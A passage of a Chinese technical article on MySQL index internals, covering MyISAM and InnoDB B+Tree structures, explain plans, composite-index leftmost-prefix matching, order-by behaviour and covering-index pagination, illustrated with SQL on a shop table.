先取出b=2的记录,然后在这些记录里筛选出a=1记录;其中3和4本质上是一样的,只不过顺序不同,这里单独列出来只不过想强调一下其在不同索引情况下的区别;很明显,以上方案中1的效率是最高的,但是条件也比较苛刻,只有当建立了a、b上的组合索引时,才可能采取1的方案;对于2来说,一般只有当a和b两个字段上分别都建有索引时才有可能会这样执行,否则显而易见,其效率将会是很低的;如果只在a字段或b字段建了索引,那么很显然适合用3或4的方案;那么我们不妨想一想,如果在a和b字段都建了单索引的情况下,会不会也可能走3或者4的方案呢?答案是肯定的;这种情况主要取决于这两个字段的区分度(数据库中一般会有个Cardinality的概念,其原意是指实体关系模型中的1:N或者N:N这样的映射关系,这里可以简单地理解为其代表着数据的区分度);所谓的字段区分度是指,表中所有记录的这个字段上一共会有多少不同的值,也即用这个字段来区分不同记录的程度如何;如果这个字段的不同取值越多,说明区分度越高,那么在这个字段上建索引效果也越好,反之就越差。字段区分度对查询方式的具体影响,后边会详细介绍。 3、 MySQL索引具体结构3.1 引子 MySQL的索引都是由底层存储引擎来管理的,每种引擎的具体实现也不太一样,但基本就是b-tree和b+tree两种;下面主要介绍一下我们日常熟悉的MyISAM引擎和Innodb引擎的索引结构。首先我们模拟一张表,并以这张表为例来介绍索引的实际结构;该表名为user,主要包含了用户的一些个人基本信息,如id、姓名、年龄、联系方式等,具体结构如下表所示:表名user数据量100w功能描述主要存储用户的基本信息,如id、姓名、年龄、联系方式等;字段名(新增)数据类型(精度范围)空/非空缺省值字段含义idBIGINT(20)N用户idnameVARCHAR(32)N姓名genderTINYINT(4)N性别ageINT(8)N年龄telVARCHAR(16)N联系电话gmt_createDATETIMEN创建时间3.2 MyISAM的索引实现 MyISAM引擎使用的B+Tree的结构来构造索引。B+Tree的特点就是一条查询路径上所有节点的数据都会同时保存在叶节点上,同时每个叶节点间会以指针相连,这样也可以通过叶节点向后顺序遍历后续所有节点,为范围查询提供了方便;在MyISAM的索引中,叶节点的data域存放的是数据记录的地址。下图模拟了user表中age字段上的单索引结构(这张图只给出索引的原理结构,并不代表实际存储的物理结构): 在MyISAM中,主索引和辅助索引(Secondary key)在结构上没有任何区别,都如上图所示;只是主索引要求key是唯一的,而辅助索引的key可以重复;根据前面的定义,MyISAM的索引属于非**索引。由于在索引节点中仅仅保存了数据记录的指针(地址),所以在搜索的时候,系统首先按照B+Tree的检索的算法搜索对应的key的节点,如果该节点存在,则取出其data域的值,然后以该值为地址,再到表的数据存储区读取相应记录。 3.3 Innodb的索引实现 Innodb同样使用B+Tree作为索引结构,但具体实现方式却与MyISAM有一些不同。首先就是InnoDB的数据文件本身就是索引文件。从上文知道,MyISAM索引文件和数据文件是分离的,索引文件仅保存数据记录的地址。而在InnoDB中,表数据文件本身就是按B+Tree组织的一个索引结构,在树的每个叶节点保存对应的数据记录,而仅仅是一个记录地址。这个索引的key是数据表的主键,因此InnoDB表数据文件本身就是主索引。如下图所示: 从图中可以看到树的每个叶节点都包含了完整的数据记录,这种索引方式就是我们前面讲的**索引;因为InnoDB的数据文件本身要按主键排序,所以在创建InnoDB表时必须要有主键,如果没有显式指定,那么系统会自动选择一个可以唯一标识数据记录的列作为主键,如果不存在这种列,则系统自动为该表生成一个隐含字段作为主键,这个字段长度为6个字节,类型为长整形。还有一个与MyISAM索引的不同点就是,在InnoDB的辅助索引叶节点的data域中,存储的是对应记录的主键id而不是记录的地址。换句话说,InnoDB的所有辅助索引都引用主键作为data域。所以在Innodb引擎中,同样是user表age字段上的索引,其结构将如下图所示: Innodb中主键索引的这种实现方式使得按主键的查询十分高效,但是辅助索引搜索需要检索两遍索引:首先检索辅助索引获得主键,然后再到主键索引中查询对应记录。了解不同存储引擎的索引实现方式对于正确使用和优化索引都非常有帮助,例如知道了InnoDB的索引实现后,就很容易明白为什么不建议使用过长的字段作为主键,因为所有辅助索引都引用主健索引,过长的主索引会令辅助索引变得过大。再例如,用非单调的字段作为主键在InnoDB中不是个好主意,因为InnoDB数据文件本身是一颗B+Tree,非单调的主键会造成在**新记录时数据文件为了维持B+Tree的特性而频繁的分裂调整,效率非常低,而使用自增字段作为主键则是一个很好的选择。 4、 MySQL索引实例分析4.1 准备工作4.1.1 explain命令 Explain命令是MySQL提供的一个帮助查询优化器制定sql执行计划的功能,其他很多的数据库也都各自提供了类似的命令;在实际开发中,我们可以事先通过explain来分析我们的sql在不同的索引结构下是如何执行的;也可以帮助开发人员在线上环境分析慢查询,从而对sql和索引进行优化; 使用explain命令会输出类似下面的结果:这里先解释下explain解析结果中各个字段的属性含义;id代表该条语句在整个语句解析中的顺序,当存在嵌套查询时,explain解析出来的结果是多条的;select_type代表查询类型,如子查询、UNION等;table顾名思义指的是表的名称;type指的是查找数据的方式,如全表扫描、读常量、索引扫描等;possible_keys代表该条语句可以使用的索引;key代表实际使用索引;key_len代表使用的索引长度,对于组合索引,可能只是用到了其中的部分字段;ref指的是引用类型,rows是解析器估算的最多需要扫描的记录条数;extra用来说明一个额外信息,上边这条语句中extra只有一个Using where,不过别急,下边我们就会看到更多的。后面我们就使用explain命令对一些具体的sql语句进行分析,来说明不同的索引结构和sql写法会产生什么样的执行效果。4.1.2 数据准备 shop_group_item表是这次现网系统中使用的一张表,我们后面的分析都是基于该表进行的,所使用的数据都是从线上导出的真实数据,部分sql也是目前生产环境中正在使用的;下表是shop_group_item的schema结构:表名shop_group_item所在数据库1000w功能描述主要存储用户加入到Group中的商品信息。字段名(新增)数据类型(精度范围)空/非空缺省值字段含义idBIGINT(20)N主键idgroup_idBIGINT(20)NGroup iduser_idBIGINT(20)N用户iditem_idBIGINT(20)N商品iditem_titleVARCHAR(120)N商品标题item_picBIGINT(120)N商品图片item_pic_widthINTEGER(5)Y商品图片长度item_pic_heightINTEGER(5)Y商品图片宽度item_priceBIGINT(20)N商品价格contentVARCHAR(1024)Y最新评论extra_propsVARCHAR(1024)Y扩展属性gmt_createDATETIMEN记录修改时间gmt_modifiedDATETIMEN记录修改时间目前该表的线上索引结构如下图所示(这里只列出了下文主要涉及到的一些字段,省略了部分不必要字段): 我们可以看出,shop_group_item这张表一共有三个索引,一个是PRIMARY,也就是主键索引;剩下两个都是组合索引,idx_group_id_item_id这个包含group_id,item_id和status三个字段,另个一idx_group_id_uid_status包含了group_id,user_id,status,gmt_create四个字段,这里要特别注意一下seq_in_index这个字段,它表明了对应column在索引中的顺序,这直接决定着后边查询时的索引应用效果;因为线上的sql语句数量较少,类型也基本确定,所以shop_group_item表只建了一个主键索引和两个组合索引;下面为了方便对比测试,我们先将两个组合索引drop掉,再手工为shop_group_item表添加几条单索引(用于测试的记录数量为10w); 我们分别添加了idx_group_id(包含group_id字段)、idx_user_id(包含user_id字段)、idx_status(包含status字段)三条单索引;最终,shop_group_item这张表上的索引情况如下(只展示了主要字段): 下面,我们就通过不同sql对应的执行计划来分析一下MySQL索引的一些特性,以及为什么会有这样的特性;4.2 单索引查询4.2.1 无索引查询 首先我们看下用一个没有任何索引的字段进行查询;explain select * from shop_group_item whereitem_price=444; 从sql解析中我们可以看出,MySQL无法为这条语句应用任何索引,只能去走全表扫描,遍历所有记录,找出所有符合要求的。4.2.2 主键查询 作为对比,我们尝试下通过主键id直接查询记录;下面是我们线上正在使用的一条sql:explain select * from shop_group_item where id=12003; 我们的where条件中只有一个id字段,所以MySQL理所当然的使用了主键索引;这种情况下效率是非常高的,语句执行几乎没有花费什么时间,其执行结果如下图:4.2.3 非主键查询 下面我们来看下非主键索引的效率情况:explain select * from shop_group_item wheregroup_id=12003; 这里我们看到,该sql和只用主键id查询的解析结果基本一样,用时也很少;唯一的一点差别就是type值不一样,这是因为idx_group_id这个索引没有像主键的那样的唯一性约束,系统无法判断group_id=12003的记录的准确数量,所以无法标志成const。4.2.4 多条件索引合并 我们再来看下另一条线上语句的执行情况,里边涉及到了多条件查询;explain select * from shop_group_item wheregroup_id=144030 and user_id=157860040;由于结果全部输出太长,所以这里只贴出我们关心的部分: 我们可以看到,在只对group_id和user_id分别建了单索引的情况下,数据库选择了索引合并的方式,即前文我们提到的方案2;该sql解析的Extra字段如下: 我们可以看到,数据库是通过intersect的方式去处理索引结果**并的;4.2.5 多条件非索引合并 对于上例中多条件查询的情况,数据库是不一定会按照索引合并的方式来处理;explain select * from shop_group_item wheregroup_id=144030 and status=1; 这里我们可以看出,虽然在group_id和status两个字段上都建有单索引,但是status上的索引并没有被选用,而只应用了group_id上的索引;数据库为什么会有这样不同的处理结果呢?我们不妨回顾一下我们前面给出的这几个索引的基本信息;我们会发现idx_group_id这个索引的Cardinality字段值为24711,idx_user_id为32949,而status字段上的idx_status仅有4,也就是说,status这个字段仅有4个不同的值,区分度非常低!也就是说这个条件对记录的过滤能力非常差,所以虽然该字段建有索引,但是数据库却干脆弃之不用了!另一点我们需要注意的是这条sql解析的Extra字段中出现了Using where这样的信息,表明该查询光走一次索引查询是搞不定的,还要进一步应用where子句中的查询条件来进行处理。4.3 组合索引查询4.3.1 组合索引结构 组合索引在我们日常的开发中也会经常用到;本质上组合索引和单索引并没有区别,只不过在组合索引中,每个b+tree节点中的包含了多个字段的数据;如下图所示: 组合索引在多条件查询的索引应用中,有很多需要注意的地方的,下面仍以上例中的数据库为例进行说明;首先,我们先将前面我们drop掉的两条组合索引加上; 加完之后,shop_group_item表上的索引结果如下: 这里需要说明的是,虽然我们并没有对表中记录进行增减,但是对应的索引的Cardinality值却发生了变化,这是因为数据库对这个值只是进行了粗略的统计,而且是每隔一段时间去更新一次,或者手动触发的时候去更新的,所以这个值只能用来作为参考,并不是精确值;4.3.2 多索引的选择 我们重复一下2中的查询,看看在既有单索引有有组合索引的情况下,数据库会如何选择;explain select * from shop_group_item wheregroup_id=12003;这里我们仍截取我们关心的字段情况: 我们发现,这条查询可以应用的索引有三个,虽然其中包括两个组合索引,但是MySQL最后还是选择了idx_group_id这条单索引,我们再对比一下前图的Cardinality值,发现在这三个索引中,应用到group_id字段的Cardinality值均为25155,也就是说从区分度上来讲,后两个组合索引并不比第一个单索引更好,而在扫描组合索引的索引节点时,显然效率更低一些,所以数据库很聪明的选择了单索引去查询;为了对比,我们再来看看下面这条sql的解析情况;explain select * from shop_group_item where group_id=151272 and user_id= 907638037; 当使用group_id和user_id两个查询条件时,MysQL判断出有4个索引可以使用,分别是可应用于group_id字段的idx_group_id和idx_group_id_item_id;可应用于user_id字段的idx_user_id以及可以同时应用于这两个字段的组合索引idx_group_id_uid_status;解析器很明智的选择了匹配度最高的一个;从后边的key_len也可以看出,虽然idx_group_id_uid_status这个索引包含有三个字段,但是由于条件里只有group_id和user_id两个条件,所以只应用了索引中的前两个字段;4.3.3 查询条件顺序 在不建索引的情况下,where子句中查询条件的顺序可能会对查询效率有影响;那么在建有索引的情况下呢?我们来看下边的例子:我们只需要4.2.2中第二条查询的查询条件顺序调换一下即可;explain select * from shop_group_item whereuser_id=157860040 and group_id=144030; 由此可以推测,where子句中查询条件的顺序调换是不影响索引的应用的;而事实上也确实是如此的,优化器并不关心查询条件的具体顺序,在执行前它会很好的去调整以匹配最合适的索引。4.3.4 最左前缀匹配 既然在多条件查询时组合索引效率更高,那么是不是只要是包含在索引中的字段就会应用相应的索引呢?我们来看下面的sql:explain select * from shop_group_item whereuser_id=157860040 and status=1; 很可惜,idx_group_id_uid_status这个组合索引并没有起作用,只有group_id上的单索引被使用了;其实在我们了解了上边的组合索引的结构之后,就应该能想明白了为什么了;因为B+Tree实现的组合索引这种索引结构,其本身就是要求最左前缀匹配的,当查询条件中不包含索引中的第一个字段时,系统是无法在树中确定查找的入口的,如果要强制去使用索引,那么只能从根节点去遍历,这样的话效率反而不如使用单索引了;还有下面的情况:explain select * from shop_group_item wheregroup_id=144030 and status=1 and gmt_create=´2012-12-07 14:51:36´; 看起来貌似很可惜,我们就差了一个user_id字段,但是解析器很无情的直接放弃了idx_group_id_uid_status这个索引,而是使用了idx_group_id_item_id,同样key_len为8,也就是说只用到了索引中的group_id字段;那么如果我们强制使用idx_group_id_uid_status这个索引结果又会如何呢?我们来看一下:explain select * from shop_group_item forceindex(idx_group_id_uid_status) where group_id=144030 and status=1 andgmt_create=´2012-12-07 14:51:36´; 解析器很听话的使用了idx_group_id_uid_status,但是我们看到,key_len仍然是8,group_id后边的字段并没有生效;其实我们仔细想想,根据组合索引的结构,解析器只能使用最左前缀匹配,所以没生效是必然的事情,否则查询的效率就不升反降了。4.4 Order by查询 前面简单介绍了符合索引应用时的一些规则,下面我们再看一下在我们日常开发中也会经用到的order by对索引的应用情况;4.4.1 无索引order by 首先我们先来看一个在没有建索引的字段上使用order by的例子;shop_group_item表中有一个item_price字段,用来记录宝贝的价格,下面我们就对他进行排序:explain select * from shop_group_item wheregroup_id=144030 order by item_price; 在索引的应用上,只使用了group_id字段上的单索引idx_group_id,和我们预期的情况完全一样;但是我们在看下它的Extra字段: Using where是我们并不陌生的,因为item_price字段信息没有在索引数据中,所以无法直接返回结果集;但是这次多了一个Using filesort是我们以前没见过的;它的意思是通过索引拿到结果集后,为了处理后边的order by,还必须要进行一次文件排序;但是需要说明的是,这里的filesort并不一定就是磁盘排序,也可能完全是基于内存,只有当需要排序的记录比较多,无法全部在内存中完成时,才会使用磁盘;4.4.2 有索引order by 看完了上边的情况,我们当然要再试一下建有索引的字段是如何处理排序的;explain select * from shop_group_item wheregroup_id=144030 order by status; 虽然status字段上也建有索引,但是执行计划并没有像3中的那样,使用索引merge,而且Using filesort也还存在,也就是说,status上的排序并没有使用索引;其实我们仔细回忆一下前边讲过的索引的结构就会明白,在这种排序字段不在查询条件中的情况,理论上讲也是无法应用索引排序的;那我们不妨再看下排序字段同时也在查询条件中的情况会如何制定执行计划;explain select * from shop_group_item wheregroup_id=144030 order by group_id; 果然,不出我们所料,不但Using filesort没有了,就连Using where也消失了;因为排序字段就是起作用的索引字段本身,所以系统直接使用了索引的结果,根本就不需要再进一步处理了,而且因为也没有其他查询限定,所以也不需要在应用where子句的条件进一步处理了;4.4.3 组合索引order by 在单索引上,我们了解了执行计划是如何制定的,那么在组合索引上情况又如何呢?explain select * from shop_group_item wheregroup_id=144030 order by user_id; 解析器这次并没有选择group_id字段上的单索引,而是很明智的选择了idx_group_id_uid_status这个组合索引,但是我们要注意一下它的key_len字段,只有8,也就是说,查询使用的索引字段只有group_id,并不包括user_id字段;根据组合索引的结构就不难理解,order by其实类似于范围查询,没办法通过索引一次性定位,必须要对结果进行进一步处理,所以在Extra信息里还出现了Using where; 但即便是这样,其效率也是很高的;而这里查询字段group_id和排序字段user_id是索引idx_group_id_uid_status的前两个字段,符合最左前缀匹配原则,所以可以直接使用索引顺序,不管正序还是倒序,都不需要再重新做一次filesort了。4.4.4 order by的最左匹配 通过前面的例字我们知道了多where条件查询组合索引的最左前缀匹配原则,那么存在order by的情况是不是也这样呢?我们来看一下:explain select * from shop_group_item wheregroup_id=144030 and status=0 order by gmt_create; 可以看到,在应用索引的时候,MySQL并没有选择idx_group_id_uid_status这个包含gmt_create的索引,而是选择了idx_group_id_item_id,而且仍然只有第一个字段即group_id生效了; 再来看他的Extra信息:其中仍有Using filesort信息,也就是说,最后的排序并没有用到索引,而是又重新排了一次序;那有人会问,是不是因为查询应用idx_group_id_item_id这个索引中不包含gmt_create才会这样呢?那我们不妨试一下强制使用idx_group_id_uid_status的情况: explain select * from shop_group_item forceindex(idx_group_id_uid_status) where group_id=144030 order by gmt_create;可以看到,这种情况下MySQL仍然使用了文件排序;其实我们分析一下组合索引的结构即可明白,虽然索引是有序的,但是索引中的节点并不是按照gmt_create这个字段有序排列的,而是索引所有字段的一个整体有序;对于单个字段来讲,只是在这个字段所处的当前层次内才是有序的;4.5 索引覆盖4.5.1 准备工作 在数据库查询中,如果我们很好地应用了索引,那么将使我们的sql效率得到极大的提升,可能以前令人头疼的性能瓶颈一下子就解决了!但是人都是不知足的,我们总会想:还有没有办法更快点?答案是肯定的!下面我们就来看下索引覆盖的情形;为了能让在不同的数据量下sql在执行时间上的对比更强烈一些,我们特意将shop_group_item这张表的记录数增加到100万,和前边一样,这些数据都是来自生产环境的真实数据,所以不存在特殊性的问题;同时,为了方便对比,我们为这张表取了个新的名字shop_group_item_t,但是表结构前后是完全一样的。4.5.2 主键索引效率 首先,我们再将1中的sql在shop_group_item_t中重新执行一遍;select * from shop_group_item_t where id=12003;在我们的测试中,这条sql的执行时间是0.03 sec(在关闭查询结果缓存的情况下),相较于上次shop_group_item表10w条记录0.00sec的情形,可以说已经慢了很多了;4.5.3 非主键索引效率 同样,我们还要再尝试一下再非主键索引上的情况;我们将4.3.2中的第二条查询在shop_group_item_t表上再执行一下,一共查询到10条记录,耗时0.06sec(关闭缓存多次重复执行的时间基本相同);而同样的语句和结果在只有10w条记录的shop_group_item表上执行时耗时为0.00sec;其实从上边两个简单的例子就可以看出,即便是恰当的使用了索引,在数据量比较大的情况下,sql的执行消耗也会相应增大;这还仅仅是最简单的单条件查询!如果数据量和sql的执行频率再进一步增加,可以想象,我们的数据库会很快出现瓶颈,我们必须进一步优化!4.5.4 分页查询(屌丝写法) 在平时的开发过程中,分页查询是我们经常写的一类sql;最普通的分页写法一般是这样的:select * from shop_group_item_t where group_id =107127 and status = 0 order by gmt_create desc limit 1,20;下面我们看下这条sql的执行计划是什么样的;首先看他的索引应用情况: 这个执行计划和我们前边讲得一样,没有什么特别;接下来再看下Extra信息: 从以上sql的执行计划我们可以推测出数据库的执行过程:首先,从idx_group_id_item_id中检索出group_id=107127的节点,然后根据节点上存储的主键id取出对应的记录,然后在应用查询条件中的status=0对这些记录进行过滤,最后再将过滤后的记录按照gmt_create进行降序排列,取出其中的前20条,返回给客户端;在我们的测试中,这条sql的执行时间是0.27 sec(在关闭查询结果缓存的情况下),应该说比较慢了,何况我们现在只有100万的记录,符合group_id=107127和status=0的记录也就几百条;4.5.5 分页查询(文艺写法) 上例中的分页sql可谓是最“屌丝”的写法了,在sql review时,一般都会被dba打回,要求改写成如下所示的“文艺”分页写法:select * from (select id from shop_group_item_t wheregroup_id = 107127 and status = 0 order by gmt_create desc limit 1,20 ) a,shop_group_item_t s where a.id = s.id;乍一看,sql语句长了不少,但是在实际执行时,相同测试环境下这条sql所耗费的时间几乎为0!果然够文艺!那么为什么这个效率就会高呢?下边来看下它的执行计划;因为宽度问题,我们还是分两屏贴出: sql执行计划的执行顺序是按照其id从大到小执行的,也就是说,首先被执行的是id=2的计划,它对应我们上述sql语句最内层的查询;我们看到,其select_type值为DERIVED,涵义是指该查询为派生表的select查询(from子句的子查询),我们同时也看到虽然应用了idx_group_id_uid_status索引,但是其type和rows分为ALL和990872;对比最开始1中全表扫描查询的所需时间,这里显然没有使用全表扫描,而是应用了索引,所以explain出来的执行计划并不是绝对准确无误的;在两个id为1的执行计划中,第一个table为表名这个是个派生表,其实也就是a表,这个表走的是全表扫描,一共涉及到20条记录;而s表则走了主键索引,同时ref字段值为a.id,type字段为eq_ref,表示使用了a.id这个列的值来精确匹配主键索引筛选出需要的行;所以整个sql的执行流程如下:a、 首先从索引idx_group_id_uid_status中筛选出所有group_id = 107127的索引节点,然后从这些节点中再找出status=0的节点,之后按照gmt_create字段对剩下的节点排序(因为idx_group_id_uid_status包含了group_id、status、gmt_create这些字段,所以之前的筛选都只需在索引节点中进行)最后取出前20条数据的id值(id为主键,也包含在索引节点中,所以这一步仍在索引中进行)放到临时表derived2中;b、 顺序遍历derived2中的每条记录中的id值,然后用这个值去s(由shop_group_item_t表派生而来)表中根据主键索引查询对应记录;c、 最后将查到的所有记录返回给客户端;4.5.6 执行计划准确吗 下面我们把上例中最里层的sql拿出来单独做一下解析;explain select id from shop_group_item_t wheregroup_id = 107127 and status = 0 order by gmt_create desc limit 1,20;下面我们看一下它的执行计划: 这个执行计划看起来就很正常了,仍然使用了idx_group_id_uid_status这个索引的第一个字节,ref为常量匹配,读取的记录为30条;此外,Extra中还出现了Using where和Using index,前者根据我们16.a中的分析,出现是很正常的,而Using index表示返回给客户端的结果集中所需要的字段都可以从索引中拿到,不需要再去表中查询,根据我们前面的分析来看,这个也是很正常的;4.5.7 索引覆盖原理 上例中“文艺”分页写法的例子,其实就是前面我们所说的索引覆盖(index coverage),即索引中的字段数据即可覆盖结果集中的所需字段,这样查询时只扫描索引即可,不需要再到数据表中重新取数据了;在sql优化中,一条很重要的原则就是尽量减少“回表”;所谓回表,是指sql执行过程中,无法在索引中取到全部需要的数据,必须要到表中重新将所需的字段取出来,然后再进行后续操作;因为表中记录的数据一般都是在磁盘上的,很少能从缓存直接取到,所以而这个回表的操作是非常耗时间的,尤其是回表的次数和数据条数比较多时候更是如此!索引覆盖是非常好的避免回表的方法;一般来讲,数据库会尽量将索引放在缓存中,即便需要从磁盘中读取,索引的查找效率也很高的;所以如果能从索引中取到所有需要的数据,那就可以避免到回表这部分的磁盘I/O,性能将会大大提升;当然,也不是说应该把表中的所有字段都包含到索引里边,因为索引的维护开销也是很大的;每一次写操作,都需要更新对应的索引数据,包括添加索引记录,B+树结构调整,节点分裂、移动等,所以实际产生的磁盘I/O量可能是写操作数量的几倍甚至更多;所以,究竟建什么样的索引,包含哪些字段,是需要综合多方面因素来权衡的,包括以下几个方面:a、 业务逻辑需要什么样的sql语句;b、 每条sql语句的执行频率如何;c、 sql语句的查询条件和执行频率主要决定了建什么样的索引;d、 schema结构(字段类型、区分度等)影响着索引的效率;而反过来,索引优化方式也会逆向反馈sql语句和程序代码的写法,甚至不得已还要调整业务逻辑;这就是我们前面所说的向上反馈。 5、 总结 以上主要介绍了数据库索引的一些东西,只是整个数据层优化的一部分,甚至限于时间和篇幅,连这一部分都没有介绍全面,比如说索引的磁盘结构,distinct的优化、join的优化等等,也并没有分析sql执行时的具体IO情况;本文的目的旨在总结平时工作和学习的一些所得,也算是抛砖引玉的作用,欢迎有兴趣的同学一起讨论!
上滑加载中
推荐直播
-
华为云码道Agent集成与鸿蒙实战2026/08/11 周二 19:00-21:00
王一男-华为云码道产品规划专家;李炎-华为云码道产品专家;彭江敏-华为云鸿蒙端云一体化开发专家
本次直播带你解读华为云码道7月份产品新特性、新功能。更有专家演示码道Agent Space × 钉钉机器集成实战,从0到1打通消息通道;码道鸿蒙端云一体化实战,快速搭建员工签到系统。
回顾中 -
华为云开发者AI素养直播课·第五期2026/09/04 周五 16:00-18:00
林华鼎-华为云AI开发者运营负责人;蒋春阳-华为云AI开发者案例开发专家
本期直播内容: AI工具体验营 · 第5-8课连讲。Agent-Team 多智能体协作完成毕业设计实践
回顾中 -
华为云开发者AI素养ClassRoom·第六期2026/09/08 周二 19:00-20:00
樊渊-2026华为软件挑战赛冠军
高手来了:看软挑高手解析二维排样问题—从工业难题到算法突破
回顾中
热门标签